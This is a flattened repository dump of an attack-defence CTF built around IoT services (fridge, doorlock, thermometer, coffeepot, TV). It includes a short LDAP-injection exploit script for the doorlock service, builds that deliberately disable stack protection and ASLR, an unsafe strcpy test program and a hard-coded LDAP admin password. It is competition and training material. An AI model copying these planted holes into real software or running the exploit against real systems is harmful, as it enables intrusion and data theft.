alpine:3.4 2 | 3 | RUN apk add --no-cache make gcc musl-dev libuuid libc6-compat openssl-dev util-linux-dev libmicrohttpd-dev mariadb-dev bash 4 | 5 | COPY paho.mqtt.c /usr/src/paho.mqtt.c 6 | WORKDIR /usr/src/paho.mqtt.c 7 | RUN make 8 | 9 | COPY src /usr/src/module 10 | WORKDIR /usr/src/module 11 | RUN make && make install 12 | -------------------------------------------------------------------------------- /vuln_image/roles/tv_service/files/tv.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=TV Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/tv/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/tv/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django.contrib.auth.models import User, Group 3 | from . import models 4 | 5 | 6 | @admin.register(models.Refrigerator) 7 | class RefrigeratorAdmin(admin.ModelAdmin): 8 | list_display = ('id', 'owner', 'title', 'description') 9 | 10 | 11 | admin.site.unregister(User) 12 | admin.site.unregister(Group) -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-reset-db.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | service slapd stop 6 | 7 | rm -vrf /var/lib/ldap 8 | mkdir /var/lib/ldap && chown openldap.openldap /var/lib/ldap 9 | 10 | service slapd start 11 | 12 | ./ldap-dpkg-reconfigure.sh 13 | 14 | ./ldap-add-locks.sh 15 | 16 | ./ldap-init.sh 17 | 18 | ./ldap-search.sh * 19 | 20 | echo "`basename $0`: success!" 21 | 22 | -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/files/fridge.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Fridge Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/doorlock/ldap/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | sudo apt update 2 | sudo apt install slapd ldap-utils 3 | sudo dpkg-reconfigure slapd 4 | # sudo apt install lat 5 | 6 | iot.phdays.com 7 | phdays 8 | Administrator password: XfhC57uwby3plBWD 9 | 10 | Base DN: dc=iot,dc=phdays,dc=com 11 | Username: cn=admin,dc=iot,dc=phdays,dc=com 12 | Password: XfhC57uwby3plBWD 13 | 14 | sudo ./ldap-install.sh 15 | ./ldap-init.sh 16 | -------------------------------------------------------------------------------- /vuln_image/roles/doorlock_service/files/doorlock.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Doorlock Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/doorlock/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/doorlock/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/files/coffeepot.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Coffeepot Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /vuln_image/roles/thermometer_service/files/thermometer.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Thermometer Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/thermometer/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/thermometer/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/doorlock/docker-wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [ -f /var/lib/ldap/DB_CONFIG ] || /app/ldap-dpkg-reconfigure.sh # to populate 'ldap' volume 4 | 5 | /usr/sbin/slapd -h ldap://127.0.0.1:389/ -g openldap -u openldap -F /etc/ldap/slapd.d -d Config & 6 | 7 | while ! nc -z 127.0.0.1 389 8 | do 9 | sleep 1 10 | echo "Waiting for slapd ... " 11 | done 12 | 13 | /app/ldap-init.sh 14 | 15 | /app/doorlock-server 16 | 17 | -------------------------------------------------------------------------------- /services/doorlock/README: -------------------------------------------------------------------------------- 1 | COPY NEEDED FILES TO VIULNBOX: 2 | 3 | ./copy-vulnbox-files.sh DIR 4 | 5 | If DIR does not exist, it will be created. 6 | Example: ./copy-vulnbox-files.sh /mnt/vulnbox/home/ctf/doorlock/ 7 | 8 | BUILD DOCKER CONTAINER: 9 | 10 | ./docker-build.sh 11 | 12 | 13 | CREATE VOLUME FOR LDAP DATA: 14 | 15 | ./docker-create-volume.sh 16 | 17 | 18 | RUN DOCKER CONTAINER: 19 | 20 | ./docker-run.sh 21 | 22 | -------------------------------------------------------------------------------- /services/thermometer/module/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache libuuid libc6-compat libmicrohttpd mariadb-client-libs bash 4 | 5 | COPY module /usr/bin/ 6 | 7 | COPY 01-disable-aslr.conf /etc/sysctl.d/01-disable-aslr.conf 8 | 9 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 10 | RUN chmod +x /usr/bin/wait-for-it.sh 11 | 12 | EXPOSE 8888 13 | 14 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-broker:1883", "--", "/usr/bin/module"] 15 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache mosquitto mariadb-client-libs openssl openssl-dev bash 4 | COPY mosquitto.conf /etc/mosquitto/mosquitto.conf 5 | COPY auth-plug.so /usr/lib/ 6 | 7 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 8 | RUN chmod +x /usr/bin/wait-for-it.sh 9 | 10 | EXPOSE 1883 11 | 12 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-db:3306", "--", "mosquitto", "-v", "-c", "/etc/mosquitto/mosquitto.conf"] 13 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | MAINTAINER bay@hackerdom.ru 3 | 4 | RUN useradd coffeepot 5 | 6 | ADD coffeepot /home/coffeepot 7 | RUN chown -R coffeepot:coffeepot /home/coffeepot/pots 8 | RUN chmod +x /home/coffeepot/coffee_httpd 9 | RUN chmod +x /home/coffeepot/coffeepot.cgi 10 | RUN chmod -R +r /home/coffeepot 11 | 12 | WORKDIR /home/coffeepot 13 | USER coffeepot 14 | 15 | CMD /home/coffeepot/coffee_httpd 0.0.0.0:3255 16 | 17 | EXPOSE 3255 -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/Makefile: -------------------------------------------------------------------------------- 1 | PROG = coffee_httpd 2 | SOURCES = $(PROG).c mongoose.c 3 | CFLAGS = -Ofast -W -Wall -I../.. $(CFLAGS_EXTRA) 4 | # CFLAGS = -fsanitize=leak -fsanitize=undefined -fsanitize=bounds -O1 -fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls -g -W -Wall -I../.. $(CFLAGS_EXTRA) 5 | 6 | all: $(PROG) 7 | 8 | $(PROG): $(SOURCES) 9 | $(CC) $(SOURCES) -o $@ $(CFLAGS) 10 | 11 | clean: 12 | rm -f $(PROG) 13 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for fridge project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "fridge.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /sploits/doorlock/sploit-injection.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: `basename $0` HOST [START_ID]" 6 | echo 7 | echo "On the first run, do not pass START_ID" 8 | echo "On next runs, pass last seen ID as START_ID" 9 | exit 1 10 | fi 11 | 12 | for id in `seq $2 9999` 13 | do 14 | FLAG=`coap -T get "coap://$1/get_card?lock=_&card=$id)(%26))"` 15 | echo $id: $FLAG 16 | if [[ $FLAG == *EMPTY* ]] 17 | then 18 | break 19 | fi 20 | done 21 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache make gcc g++ musl-dev util-linux-dev mariadb-dev 4 | 5 | COPY mosquitto /usr/mosquitto 6 | COPY mosquitto-config.mk /usr/mosquitto/config.mk 7 | 8 | COPY mosquitto-auth-plug /usr/mosquitto-auth-plug 9 | COPY mosquitto-auth-plug-config.mk /usr/mosquitto-auth-plug/config.mk 10 | COPY be-mysql.c /usr/mosquitto-auth-plug/ 11 | 12 | WORKDIR /usr/mosquitto 13 | RUN make binary 14 | WORKDIR /usr/mosquitto-auth-plug 15 | RUN make 16 | 17 | VOLUME ["/auth-plugin"] 18 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug-config.mk: -------------------------------------------------------------------------------- 1 | # Select your backends from this list 2 | BACKEND_CDB ?= no 3 | BACKEND_MYSQL ?= yes 4 | BACKEND_SQLITE ?= no 5 | BACKEND_REDIS ?= no 6 | BACKEND_POSTGRES ?= no 7 | BACKEND_LDAP ?= no 8 | BACKEND_HTTP ?= no 9 | BACKEND_JWT ?= no 10 | BACKEND_MONGO ?= no 11 | 12 | # Specify the path to the Mosquitto sources here 13 | MOSQUITTO_SRC = /usr/mosquitto 14 | 15 | # Specify the path the OpenSSL here 16 | OPENSSLDIR = /usr 17 | 18 | # Specify optional/additional linker flags here 19 | LDFLAGS = 20 | -------------------------------------------------------------------------------- /services/doorlock/ldap/LINKS.TXT: -------------------------------------------------------------------------------- 1 | https://guillaumemaka.com/2013/07/17/openldap-create-a-custom-ldap-schema.html 2 | https://access.redhat.com/documentation/en-US/Red_Hat_Directory_Server/8.1/html/Configuration_and_Command_Reference/Configuration_Command_File_Reference-Command_Line_Utilities-ldapsearch.html 3 | 4 | https://access.redhat.com/documentation/en-US/Red_Hat_Directory_Server/8.2/html/Administration_Guide/Examples-of-common-ldapsearches.html 5 | 6 | http://pro-ldap.ru/tr/zytrax/ 7 | # Appendix E: LDAP - Object Classes and Attributes 8 | http://www.zytrax.com/books/ldap/ape/ 9 | -------------------------------------------------------------------------------- /checkers/fridge/checklib/utils.py: -------------------------------------------------------------------------------- 1 | import os.path 2 | import sys 3 | 4 | def checklib_location(): 5 | return os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) 6 | 7 | 8 | def checker_location(): 9 | return os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(sys.argv[0]))) 10 | 11 | 12 | def merge_dicts(*dicts): 13 | ''' 14 | Given any number of dicts, shallow copy and merge into a new dict, 15 | precedence goes to key value pairs in latter dicts. 16 | ''' 17 | result = {} 18 | for dictionary in dicts: 19 | result.update(dictionary) 20 | return result -------------------------------------------------------------------------------- /services/thermometer/prepare_for_deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker-compose -f docker-compose-compile-binaries.yml up --build 4 | docker-compose -f docker-compose-build-images.yml build 5 | 6 | mkdir -p ../../vuln_image/docker_images 7 | 8 | for name in mqtt-db mqtt-broker module sensor; do 9 | echo Exporting thermometer/$name -> ../../vuln_image/docker_images/$name 10 | docker image save -o ../../vuln_image/docker_images/$name thermometer/$name 11 | 12 | echo Zipping ../../vuln_image/docker_images/$name -> ../../vuln_image/docker_images/$name.tgz 13 | gzip -f -S .tgz ../../vuln_image/docker_images/$name 14 | done 15 | -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Copy fridge service from host 4 | copy: 5 | src: ../services/fridge 6 | dest: /home/ctf/ 7 | owner: ctf 8 | group: ctf 9 | 10 | - name: Build fridge containers 11 | command: /usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml build 12 | 13 | - name: Copy fridge systemd script 14 | copy: 15 | src: files/fridge.service 16 | dest: /etc/systemd/system 17 | 18 | - name: Enable fridge service 19 | systemd: 20 | name: fridge 21 | enabled: yes 22 | state: started 23 | daemon_reload: yes 24 | -------------------------------------------------------------------------------- /services/doorlock/Makefile: -------------------------------------------------------------------------------- 1 | doorlock-server: doorlock-server.cpp 2 | g++ -I./include -I./include/coap -isystem./include/coap -pedantic -Wall \ 3 | -Wno-write-strings -Wno-sign-compare \ 4 | -g -O2 -fdiagnostics-color -D_GNU_SOURCE -DWITH_POSIX \ 5 | -MT doorlock-server.o -MD -MP -c -o doorlock-server.o doorlock-server.cpp 6 | gcc -isystem../include/coap -I../include/coap -pedantic -Wall \ 7 | -std=c99 -g -O2 -fdiagnostics-color -D_GNU_SOURCE -DWITH_POSIX \ 8 | -o doorlock-server doorlock-server.o libs/libcoap-1.a -lldap /usr/lib/x86_64-linux-gnu/liblber.a 9 | 10 | clean: 11 | rm doorlock-server doorlock-server.o doorlock-server.d 12 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Copy coffeepot service from host 4 | copy: 5 | src: ../services/coffeepot 6 | dest: /home/ctf/ 7 | owner: ctf 8 | group: ctf 9 | 10 | - name: Build coffeepot containers 11 | command: /usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml build 12 | 13 | - name: Copy systemd script 14 | copy: 15 | src: files/coffeepot.service 16 | dest: /etc/systemd/system 17 | 18 | - name: Enable coffeepot service 19 | systemd: 20 | name: coffeepot 21 | enabled: yes 22 | state: started 23 | daemon_reload: yes 24 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/views.py: -------------------------------------------------------------------------------- 1 | from django.contrib.auth import forms, views, login 2 | from django.shortcuts import redirect 3 | from django.views.decorators.http import require_POST 4 | 5 | 6 | @require_POST 7 | def registration(request): 8 | form = forms.UserCreationForm(data=request.POST) 9 | if form.is_valid(): 10 | user = form.save() 11 | login(request, user) 12 | return redirect('index') 13 | return LoginView.as_view(extra_context={ 14 | 'registration_form': form 15 | })(request) 16 | 17 | 18 | class LoginView(views.LoginView): 19 | extra_context = { 20 | 'registration_form': forms.UserCreationForm() 21 | } 22 | -------------------------------------------------------------------------------- /services/fridge/config/django.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | MAINTAINER andgein@yandex.ru 4 | 5 | RUN apt-get update 6 | RUN apt-get install -y python3 python3-pip uwsgi uwsgi-plugin-python3 postgresql-client 7 | 8 | # Install application requirements 9 | ADD ./web/requirements.txt / 10 | RUN pip3 install -U pip 11 | RUN pip3 install -Ur /requirements.txt 12 | 13 | # Add code 14 | ADD ./web /srv 15 | 16 | # Add start script 17 | ADD ./config/django.start.sh / 18 | RUN chmod +x ./django.start.sh 19 | 20 | # Add uWSGI config 21 | ADD ./config/django.uwsgi.ini /etc/uwsgi/fridge.ini 22 | 23 | # Add database check script 24 | ADD ./config/db.check.py / 25 | 26 | # Execute start script 27 | CMD ["./django.start.sh"] -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/olcDatabase={0}config.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 e181939b 3 | dn: olcDatabase={0}config 4 | objectClass: olcDatabaseConfig 5 | olcDatabase: {0}config 6 | olcAccess: {0}to * by * none 7 | olcAddContentAcl: TRUE 8 | olcLastMod: TRUE 9 | olcMaxDerefDepth: 15 10 | olcReadOnly: FALSE 11 | olcRootDN: cn=config 12 | olcSyncUseSubentry: FALSE 13 | olcMonitoring: FALSE 14 | structuralObjectClass: olcDatabaseConfig 15 | entryUUID: 1df0cfb6-c2f4-1036-964a-aff1bf41bfdc 16 | creatorsName: cn=config 17 | createTimestamp: 20170501195714Z 18 | entryCSN: 20170501195714.747043Z#000000#000#000000 19 | modifiersName: cn=config 20 | modifyTimestamp: 20170501195714Z 21 | -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/olcDatabase={-1}frontend.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 7f034d54 3 | dn: olcDatabase={-1}frontend 4 | objectClass: olcDatabaseConfig 5 | objectClass: olcFrontendConfig 6 | olcDatabase: {-1}frontend 7 | olcAddContentAcl: FALSE 8 | olcLastMod: TRUE 9 | olcMaxDerefDepth: 0 10 | olcReadOnly: FALSE 11 | olcSchemaDN: cn=Subschema 12 | olcSyncUseSubentry: FALSE 13 | olcMonitoring: FALSE 14 | structuralObjectClass: olcDatabaseConfig 15 | entryUUID: 1df0c99e-c2f4-1036-9649-aff1bf41bfdc 16 | creatorsName: cn=config 17 | createTimestamp: 20170501195714Z 18 | entryCSN: 20170501195714.747043Z#000000#000#000000 19 | modifiersName: cn=config 20 | modifyTimestamp: 20170501195714Z 21 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "services/thermometer/thermometer-sensor/paho.mqtt.c"] 2 | path = services/thermometer/sensor/paho.mqtt.c 3 | url = https://github.com/eclipse/paho.mqtt.c.git 4 | [submodule "services/thermometer/mosquitto-auth-plugin/mosquitto"] 5 | path = services/thermometer/mosquitto-auth-plugin/mosquitto 6 | url = https://github.com/eclipse/mosquitto.git 7 | [submodule "services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug"] 8 | path = services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug 9 | url = https://github.com/jpmens/mosquitto-auth-plug.git 10 | [submodule "services/thermometer/module/paho.mqtt.c"] 11 | path = services/thermometer/module/paho.mqtt.c 12 | url = https://github.com/eclipse/paho.mqtt.c.git 13 | -------------------------------------------------------------------------------- /services/doorlock/copy-vulnbox-files.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: `basename $0` DIR" 6 | echo 7 | echo "Copies needed files to vulnbox" 8 | echo "If DIR does not exist, it will be created" 9 | echo 10 | exit 1 11 | fi 12 | 13 | if [ ! -d "$1" ] 14 | then 15 | mkdir -v "$1" 16 | fi 17 | 18 | cp -v Makefile doorlock-server.cpp "$1" 19 | cp -v Dockerfile docker-*.sh "$1" 20 | cp -rv libs "$1" 21 | cp -rv include "$1" 22 | 23 | mkdir "$1/ldap/" 24 | cp -v ldap/doorlock.schema \ 25 | ldap/ldap-dpkg-reconfigure.sh \ 26 | ldap/ldap-init.sh \ 27 | ldap/ldap.cfg \ 28 | ldap/add-locks.ldif \ 29 | "$1/ldap/" 30 | 31 | cp -rv ldap/slapd.d/ "$1/ldap/" 32 | 33 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-dpkg-reconfigure.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect 2 | 3 | spawn dpkg-reconfigure slapd -freadline 4 | 5 | expect "Omit OpenLDAP server configuration?" 6 | send "no\r" 7 | 8 | expect "DNS domain name:" 9 | send "iot.phdays.com\r" 10 | 11 | expect "Organization name:" 12 | send "phdays\r" 13 | 14 | expect "Administrator password:" 15 | send "XfhC57uwby3plBWD\r" 16 | 17 | expect "Confirm password:" 18 | send "XfhC57uwby3plBWD\r" 19 | 20 | expect "Database backend to use:" 21 | send "2\r" 22 | 23 | expect "Do you want the database to be removed when slapd is purged?" 24 | send "no\r" 25 | 26 | expect "Move old database?" 27 | send "yes\r" 28 | 29 | expect "Allow LDAPv2 protocol?" 30 | send "no\r" 31 | 32 | # done 33 | expect eof 34 | -------------------------------------------------------------------------------- /services/tv/im/type.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | ]> 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /services/fridge/web/static/css/common.css: -------------------------------------------------------------------------------- 1 | .navbar { 2 | margin-bottom: 0; 3 | } 4 | 5 | .jumbotron { 6 | padding-top: 6rem; 7 | padding-bottom: 6rem; 8 | margin-bottom: 0; 9 | background-color: #fff; 10 | } 11 | 12 | .jumbotron p:last-child { 13 | margin-bottom: 0; 14 | } 15 | 16 | .jumbotron-heading { 17 | font-weight: 300; 18 | } 19 | 20 | .jumbotron .container { 21 | max-width: 40rem; 22 | } 23 | 24 | .main-block { 25 | padding-top: 3rem; 26 | padding-bottom: 3rem; 27 | background-color: #f7f7f7; 28 | } 29 | 30 | .card { 31 | margin-bottom: 15px; 32 | } 33 | 34 | .card-img-top { 35 | max-height: 350px; 36 | } 37 | 38 | footer { 39 | padding-top: 3rem; 40 | padding-bottom: 3rem; 41 | } 42 | 43 | footer p { 44 | margin-bottom: .25rem; 45 | } -------------------------------------------------------------------------------- /services/doorlock/url-decode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void url_decode(char *s) { 5 | int n = strlen(s); 6 | int src = 0, dst = 0; 7 | while (src < n) { 8 | if (s[src] == '%' && src+2 < n) { 9 | s[dst] = ((s[src+1]-'0')<<4) | (s[src+2]-'0'); 10 | src += 3; 11 | } 12 | else { 13 | s[dst] = s[src]; 14 | src += 1; 15 | } 16 | dst++; 17 | } 18 | s[dst] = 0; 19 | } 20 | 21 | int main(int argc, char ** argv) { 22 | if (argc != 2) { 23 | printf("need argument\n"); 24 | return 1; 25 | } 26 | 27 | char s[64]; 28 | memset(s, 0, sizeof(s)); 29 | strcpy(s, argv[1]); 30 | 31 | printf("s = %s\n", s); 32 | url_decode(s); 33 | printf("s = %s\n", s); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /services/fridge/api/loader.py: -------------------------------------------------------------------------------- 1 | import codecs 2 | import csv 3 | 4 | 5 | class Model: 6 | def __init__(self, dictionary): 7 | for key, value in dictionary.items(): 8 | if value is None: 9 | value = '0' 10 | if value.isnumeric(): 11 | value = int(value) 12 | setattr(self, key, value) 13 | 14 | def __repr__(self): 15 | return 'Model' + str(self.__dict__) 16 | 17 | 18 | class ModelLoader: 19 | @staticmethod 20 | def load_models_from_file(filename): 21 | objects = {} 22 | with codecs.open(filename, 'r', encoding='utf-8') as opened_file: 23 | reader = csv.DictReader(opened_file) 24 | for row in reader: 25 | model = Model(row) 26 | objects[model.id] = model 27 | return objects 28 | -------------------------------------------------------------------------------- /services/thermometer/docker-compose-build-images.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mqtt-db: 5 | image: thermometer/mqtt-db 6 | build: 7 | context: mqtt-db 8 | args: 9 | - http_proxy 10 | - https_proxy 11 | - no_proxy 12 | 13 | mqtt-broker: 14 | image: thermometer/mqtt-broker 15 | build: 16 | context: mosquitto 17 | args: 18 | - http_proxy 19 | - https_proxy 20 | - no_proxy 21 | 22 | sensor: 23 | image: thermometer/sensor 24 | build: 25 | context: sensor 26 | args: 27 | - http_proxy 28 | - https_proxy 29 | - no_proxy 30 | 31 | module: 32 | image: thermometer/module 33 | build: 34 | context: module 35 | args: 36 | - http_proxy 37 | - https_proxy 38 | - no_proxy 39 | -------------------------------------------------------------------------------- /services/thermometer/module/src/Makefile: -------------------------------------------------------------------------------- 1 | all: module.c 2 | gcc -fno-stack-protector -z execstack -o module module.c ../paho.mqtt.c/src/MQTTClient.c ../paho.mqtt.c/src/MQTTPacket.c ../paho.mqtt.c/src/MQTTPacketOut.c ../paho.mqtt.c/src/StackTrace.c ../paho.mqtt.c/src/Thread.c ../paho.mqtt.c/src/Log.c ../paho.mqtt.c/src/Messages.c ../paho.mqtt.c/src/LinkedList.c ../paho.mqtt.c/src/Heap.c ../paho.mqtt.c/src/Tree.c ../paho.mqtt.c/src/Socket.c ../paho.mqtt.c/src/SocketBuffer.c ../paho.mqtt.c/src/MQTTPersistence.c ../paho.mqtt.c/src/Clients.c ../paho.mqtt.c/src/MQTTProtocolClient.c ../paho.mqtt.c/src/MQTTProtocolOut.c ../paho.mqtt.c/src/MQTTPersistenceDefault.c ../paho.mqtt.c/src/utf-8.c -I/usr/include/ -I/usr/include/mysql -I../paho.mqtt.c/build/ -I../paho.mqtt.c/src/ -lmicrohttpd -lmysqlclient -luuid 3 | install: 4 | cp module /usr/bin/ 5 | clean: 6 | rm -f module 7 | -------------------------------------------------------------------------------- /vuln_image/roles/docker/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Install packages to allow apt to use a repository over HTTPS 2 | apt: name={{ item }} state=latest 3 | with_items: 4 | - apt-transport-https 5 | - ca-certificates 6 | - curl 7 | - software-properties-common 8 | - python2.7 9 | - python-pip 10 | 11 | - name: Add Docker's official GPG key 12 | apt_key: keyserver=hkp://keyserver.ubuntu.com:80 id=0EBFCD88 13 | 14 | - name: Add Docker repository 15 | apt_repository: repo='deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable' filename='docker.list' state=present update_cache=yes 16 | 17 | - name: Install docker 18 | apt: name=docker-ce state=latest update_cache=yes 19 | 20 | - name: Add 'ctf' user to group docker 21 | user: name=ctf 22 | groups=docker 23 | append=yes 24 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/coffee_httpd.c: -------------------------------------------------------------------------------- 1 | #include "mongoose.h" 2 | 3 | static void ev_handler(struct mg_connection *nc, int ev, void *p) { 4 | if (ev == MG_EV_HTTP_REQUEST) { 5 | mg_serve_http(nc, (struct http_message *) p); 6 | } 7 | } 8 | 9 | int main(int argc, char **argv) { 10 | struct mg_mgr mgr; 11 | struct mg_connection *nc; 12 | 13 | const char* listen_addr = "127.0.0.1:3255"; 14 | 15 | if (argc >= 2) { 16 | listen_addr = argv[1]; 17 | } 18 | 19 | mg_mgr_init(&mgr); 20 | printf("Starting web server on %s\n", listen_addr); 21 | 22 | nc = mg_bind(&mgr, listen_addr, ev_handler); 23 | if (nc == NULL) { 24 | printf("Failed listen port\n"); 25 | return 1; 26 | } 27 | 28 | for (;;) { 29 | mg_mgr_poll(&mgr, 3000); 30 | } 31 | mg_mgr_free(&mgr); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### Python ### 2 | # Byte-compiled / optimized / DLL files 3 | __pycache__/ 4 | *.py[cod] 5 | *$py.class 6 | 7 | # Distribution / packaging 8 | .Python 9 | env/ 10 | build/ 11 | develop-eggs/ 12 | dist/ 13 | downloads/ 14 | eggs/ 15 | .eggs/ 16 | lib64/ 17 | parts/ 18 | sdist/ 19 | wheels/ 20 | *.egg-info/ 21 | .installed.cfg 22 | *.egg 23 | 24 | # PyCharm 25 | .idea/ 26 | 27 | # Installer logs 28 | pip-log.txt 29 | pip-delete-this-directory.txt 30 | 31 | # Translations 32 | *.mo 33 | *.pot 34 | 35 | # Django stuff: 36 | *.log 37 | local_settings.py 38 | 39 | # Sphinx documentation 40 | docs/_build/ 41 | 42 | # dotenv 43 | .env 44 | 45 | # virtualenv 46 | .venv 47 | venv/ 48 | ENV/ 49 | 50 | # Libraries 51 | *.so 52 | 53 | # Archives 54 | *.tgz 55 | 56 | services/thermometer/sensor/sensor 57 | services/thermometer/module/module 58 | docker_images 59 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/forms.py: -------------------------------------------------------------------------------- 1 | from django import forms 2 | from . import models 3 | 4 | 5 | class AddRefrigeratorForm(forms.ModelForm): 6 | class Meta: 7 | model = models.Refrigerator 8 | exclude = ('owner', 'image_id') 9 | 10 | 11 | class AddFoodTypeForm(forms.ModelForm): 12 | class Meta: 13 | model = models.FoodType 14 | exclude = ('owner', ) 15 | 16 | 17 | class AddFoodToRefrigeratorForm(forms.ModelForm): 18 | class Meta: 19 | model = models.FoodItem 20 | exclude = ('refrigerator', ) 21 | 22 | 23 | class AddRecipeForm(forms.ModelForm): 24 | class Meta: 25 | model = models.Recipe 26 | exclude = ('owner', 'added_at') 27 | 28 | 29 | class AddRecipeItemForm(forms.ModelForm): 30 | class Meta: 31 | model = models.RecipeItem 32 | exclude = ('recipe', ) 33 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url 2 | from . import views 3 | 4 | urlpatterns = [ 5 | url(r'^$', views.index, name='index'), 6 | 7 | url(r'^refrigerators/add/$', views.add_refrigerator, 8 | name='add_refrigerator'), 9 | url(r'^refrigerators/(?P\d+)/$', views.view_refrigerator, 10 | name='refrigerator'), 11 | url(r'^refrigerators/(?P\d+)/add/$', 12 | views.add_food_to_refrigerator, name='add_food_to_refrigerator'), 13 | 14 